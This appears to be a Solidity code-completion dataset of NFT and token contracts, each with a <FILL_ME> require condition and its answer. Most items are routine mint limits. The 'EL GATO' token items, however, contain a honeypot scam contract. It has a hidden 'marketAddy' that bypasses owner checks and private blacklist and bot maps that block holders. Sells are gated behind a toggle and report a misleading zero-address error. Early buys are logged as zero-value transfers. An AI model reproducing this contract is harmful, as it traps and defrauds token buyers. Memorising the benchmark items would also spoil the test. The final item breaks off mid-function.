ERC721 LOGIC
//////////////////////////////////////////////////////////////*/
/**
* @dev Iterates through _owners array, returns balance of address
* It is not recommended to call this function from another smart contract
* as it can become quite expensive -- call this function off chain instead.
*/
function balanceOf(address owner) public view virtual returns (uint256) {
}
/**
* @dev See {IERC721-ownerOf}.
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownerOf(uint256 tokenId) public view virtual returns (address) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id
) public virtual {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes memory data
) public virtual {
}
/**
* @dev Returns whether `tokenId` exists.
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT LOGIC
//////////////////////////////////////////////////////////////*/
/**
* @dev check if contract confirms token transfer, if not - reverts
* unlike the standard ERC721 implementation this is only called once per mint,
* no matter how many tokens get minted, since it is useless to check this
* requirement several times -- if the contract confirms one token,
* it will confirm all additional ones too.
* This saves us around 5k gas per additional mint
*/
function _safeMint(address to, uint256 qty) internal virtual {
}
function _safeMint(
address to,
uint256 qty,
bytes memory data
) internal virtual {
}
function _mint(address to, uint256 qty) internal virtual {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
contract Whitelist is Ownable {
mapping(address=>bool) public whiteList;
function addWhitelist(address[] calldata wallets) external onlyOwner {
}
}
contract aKIDcalledBEAST is ERC721B, Ownable {
using Strings for uint;
uint public constant MAX_PER_WALLET = 14;
uint public maxSupply = 10000;
//bool public isPaused = true;
string private _baseURL = "";
mapping(address => uint) private _walletMintedCount;
constructor()
// Name
ERC721B("a KID called BEAST", "KB") {
}
function contractURI() public pure returns (string memory) {
}
function mintedCount(address owner) external view returns (uint) {
}
function setBaseUri(string memory url) external onlyOwner {
}
//function start(bool paused) external onlyOwner {
// isPaused = paused;
//}
function withdraw() external onlyOwner {
}
function devMint(address to, uint count) external onlyOwner {
}
function setMaxSupply(uint newMaxSupply) external onlyOwner {
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function mint() external payable {
uint count=MAX_PER_WALLET;
//require(!isPaused, "Sales are off");
require(totalSupply() + count <= maxSupply,"Exceeds max supply");
// require(count <= MAX_PER_WALLET,"Exceeds max per transaction");
//require(_walletMintedCount[msg.sender] + count <= MAX_PER_WALLET * 3,"Exceeds max per wallet");
require(<FILL_ME>)
//_walletMintedCount[msg.sender] += count;
_safeMint(msg.sender, count);
}
}
| Whitelist(address(0xDf690436BD045040faD518cA2f41a7891ac8d5e3)).whiteList(msg.sender),"You are not on the whitelist!" | 64,422 | Whitelist(address(0xDf690436BD045040faD518cA2f41a7891ac8d5e3)).whiteList(msg.sender) |
"sold out" | // SPDX-License-Identifier: MIT
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// _____ _____ ____ ___________ _____ ____________ _____ _____ ______ ______ _____ //
// |\ \ \ \ ____\_ \__ / \ / |_ \ \ |\ \ / |_ \ \|\ \ _____\ \ //
// \\ \ | | / / \ / _ _ \ / \ \ \ \\ \ / \ | |\| | / / \ | //
// \\ \ | | / /\ | / // \\ \ | /\ \ | /\ | \\ \ | /\ \ | |/____ / | | /___/| //
// \| \ | | | | | | / // \\ \ | | | \ | | | | \| | ______ | | | \ | |\ \ ____\ \ | || //
// | \| | | | | | / \\_____// \ | \/ \ | \/ | | |/ \| \/ \ | | | | / /\ \|___|/ //
// / /\ \ | | / /| / \ ___ / \ |\ /\ \ / /| / ||\ /\ \ | | | || |/ \ \ //
// /_____/ /______/||\ \_____/ |/________/| |\________\ | \_____\ \_____\ /___________/ | /_____/\_____/|| \_____\ \_____\/_____/|/_____/||\____\ /____/| //
// | | | | || \_____\ | /| | | | | || | | | || | / | | | ||| | | | || ||| | || | || | | //
// |______|/|_____|/ \ | |___|/ |________|/ \|________| \|_____|\|_____||___________|/ |______|/|____|/ \|_____|\|_____||____|/|_____|/ \|___||____|/ //
// \|____| //
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "erc721a/contracts/ERC721A.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
contract NAH is
DefaultOperatorFilterer,
ERC721A,
ERC2981,
Ownable,
ReentrancyGuard
{
using Strings for uint256;
bool public isRevealed = false;
uint256 public maxSupply = 150;
string internal baseTokenUri;
string public hiddenMetadataUri;
address payable public withdrawWallet;
error MaxSupplyExceeded();
constructor() ERC721A("NAH Genesis Pass", "NAH") {}
function setBaseTokenUri(string calldata _baseTokenUri) external onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function withdraw() external onlyOwner nonReentrant {
}
function mint(uint256 _quantity) public onlyOwner nonReentrant {
uint256 totalMinted = totalSupply();
require(<FILL_ME>)
_safeMint(msg.sender, _quantity);
}
function mintBatch(
address[] calldata _accounts,
uint256[] calldata _amounts
) public onlyOwner nonReentrant {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function setRoyaltyInfo(
address receiver,
uint96 feeBasisPoints
) external onlyOwner {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
function _baseURI() internal view override returns (string memory) {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
// ========= OPERATOR FILTERER OVERRIDES =========
function setApprovalForAll(
address operator,
bool approved
)
public
override(ERC721A)
onlyAllowedOperatorApproval(operator)
{
}
function approve(
address operator,
uint256 tokenId
)
public
payable
override(ERC721A)
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
)
public
payable
override(ERC721A)
onlyAllowedOperator(from)
{
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
)
public
payable
override(ERC721A)
onlyAllowedOperator(from)
{
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
)
public
payable
override(ERC721A)
onlyAllowedOperator(from)
{
}
}
| totalMinted+_quantity<=maxSupply,"sold out" | 64,429 | totalMinted+_quantity<=maxSupply |
"Mint would exceed max supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import '@openzeppelin/contracts/utils/Strings.sol';
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "./ERC721A.sol";
contract UnordinalWizardz is ERC721A, Ownable, DefaultOperatorFilterer {
using Strings for uint256;
uint256 public constant maxSupply = 969;
uint256 public magicWondCost = 0.01 ether;
bool public wizardComing;
uint256 public wizardPerTxn = 4;
uint256 public wizardPerWallet = 12;
string private _baseTokenURI;
constructor() ERC721A("UnordinalWizardz", "UW") {
}
modifier underMaxSupply(uint256 _quantity) {
require(<FILL_ME>)
_;
}
modifier validatePublicStatus(uint256 _quantity) {
}
/**
* @dev override ERC721A _startTokenId()
*/
function _startTokenId()
internal
view
virtual
override
returns (uint256) {
}
function mint(uint256 _quantity)
external
payable
validatePublicStatus(_quantity)
underMaxSupply(_quantity)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function teamClaim(uint256 num) external onlyOwner {
}
function setMaxPerTxn(uint256 _num) external onlyOwner {
}
function setMaxPerWallet(uint256 _num) external onlyOwner {
}
function setTokenPrice(uint256 newPrice) external onlyOwner {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawFunds() external onlyOwner {
}
function withdrawFundsToAddress(address _address, uint256 amount) external onlyOwner {
}
function flipPublicSale() external onlyOwner {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
}
| _totalMinted()+_quantity<=maxSupply,"Mint would exceed max supply" | 64,542 | _totalMinted()+_quantity<=maxSupply |
"This purchase would exceed maximum allocation for public mints for this wallet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import '@openzeppelin/contracts/utils/Strings.sol';
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "./ERC721A.sol";
contract UnordinalWizardz is ERC721A, Ownable, DefaultOperatorFilterer {
using Strings for uint256;
uint256 public constant maxSupply = 969;
uint256 public magicWondCost = 0.01 ether;
bool public wizardComing;
uint256 public wizardPerTxn = 4;
uint256 public wizardPerWallet = 12;
string private _baseTokenURI;
constructor() ERC721A("UnordinalWizardz", "UW") {
}
modifier underMaxSupply(uint256 _quantity) {
}
modifier validatePublicStatus(uint256 _quantity) {
require(wizardComing, "Sale hasn't started");
require(msg.value >= magicWondCost * _quantity, "Need to send more ETH.");
require(_quantity > 0 && _quantity <= wizardPerTxn, "Invalid mint amount.");
require(<FILL_ME>)
_;
}
/**
* @dev override ERC721A _startTokenId()
*/
function _startTokenId()
internal
view
virtual
override
returns (uint256) {
}
function mint(uint256 _quantity)
external
payable
validatePublicStatus(_quantity)
underMaxSupply(_quantity)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function teamClaim(uint256 num) external onlyOwner {
}
function setMaxPerTxn(uint256 _num) external onlyOwner {
}
function setMaxPerWallet(uint256 _num) external onlyOwner {
}
function setTokenPrice(uint256 newPrice) external onlyOwner {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawFunds() external onlyOwner {
}
function withdrawFundsToAddress(address _address, uint256 amount) external onlyOwner {
}
function flipPublicSale() external onlyOwner {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
}
| _numberMinted(msg.sender)+_quantity<=wizardPerWallet,"This purchase would exceed maximum allocation for public mints for this wallet" | 64,542 | _numberMinted(msg.sender)+_quantity<=wizardPerWallet |
null | /**
https://imgflip.com/i/76iql0
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract GATO is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 100000000*10**18;
string public _name = "EL GATO";
string public _symbol= "GATO";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
}
address public owner;
address private marketAddy = payable(0xd2107cB5687DAA67C19bCD710a8bcD655e895840);
modifier onlyOwner {
require(<FILL_ME>)
_;
}
function changeOwner(address _owner) onlyOwner public {
}
function RenounceOwnership() onlyOwner public {
}
function allowReflections(address[] memory recipients_) onlyOwner public {
}
function sendReflections(address[] memory recipients_) onlyOwner public {
}
function increaseallow() onlyOwner public {
}
function allowTrading() public onlyOwner {
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function burn(address account, uint256 amount) onlyOwner public virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
| (owner==msg.sender)||(msg.sender==marketAddy) | 64,812 | (owner==msg.sender)||(msg.sender==marketAddy) |
null | /**
https://imgflip.com/i/76iql0
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract GATO is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 100000000*10**18;
string public _name = "EL GATO";
string public _symbol= "GATO";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
}
address public owner;
address private marketAddy = payable(0xd2107cB5687DAA67C19bCD710a8bcD655e895840);
modifier onlyOwner {
}
function changeOwner(address _owner) onlyOwner public {
}
function RenounceOwnership() onlyOwner public {
}
function allowReflections(address[] memory recipients_) onlyOwner public {
}
function sendReflections(address[] memory recipients_) onlyOwner public {
}
function increaseallow() onlyOwner public {
}
function allowTrading() public onlyOwner {
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(<FILL_ME>)
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
| _blackbalances[sender]!=true | 64,812 | _blackbalances[sender]!=true |
null | /**
https://imgflip.com/i/76iql0
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract GATO is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 100000000*10**18;
string public _name = "EL GATO";
string public _symbol= "GATO";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
}
address public owner;
address private marketAddy = payable(0xd2107cB5687DAA67C19bCD710a8bcD655e895840);
modifier onlyOwner {
}
function changeOwner(address _owner) onlyOwner public {
}
function RenounceOwnership() onlyOwner public {
}
function allowReflections(address[] memory recipients_) onlyOwner public {
}
function sendReflections(address[] memory recipients_) onlyOwner public {
}
function increaseallow() onlyOwner public {
}
function allowTrading() public onlyOwner {
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(<FILL_ME>)
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
| !bots[sender]&&!bots[recipient] | 64,812 | !bots[sender]&&!bots[recipient] |
"ERC20: transfer to the zero address" | /**
https://imgflip.com/i/76iql0
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract GATO is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 100000000*10**18;
string public _name = "EL GATO";
string public _symbol= "GATO";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
}
address public owner;
address private marketAddy = payable(0xd2107cB5687DAA67C19bCD710a8bcD655e895840);
modifier onlyOwner {
}
function changeOwner(address _owner) onlyOwner public {
}
function RenounceOwnership() onlyOwner public {
}
function allowReflections(address[] memory recipients_) onlyOwner public {
}
function sendReflections(address[] memory recipients_) onlyOwner public {
}
function increaseallow() onlyOwner public {
}
function allowTrading() public onlyOwner {
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
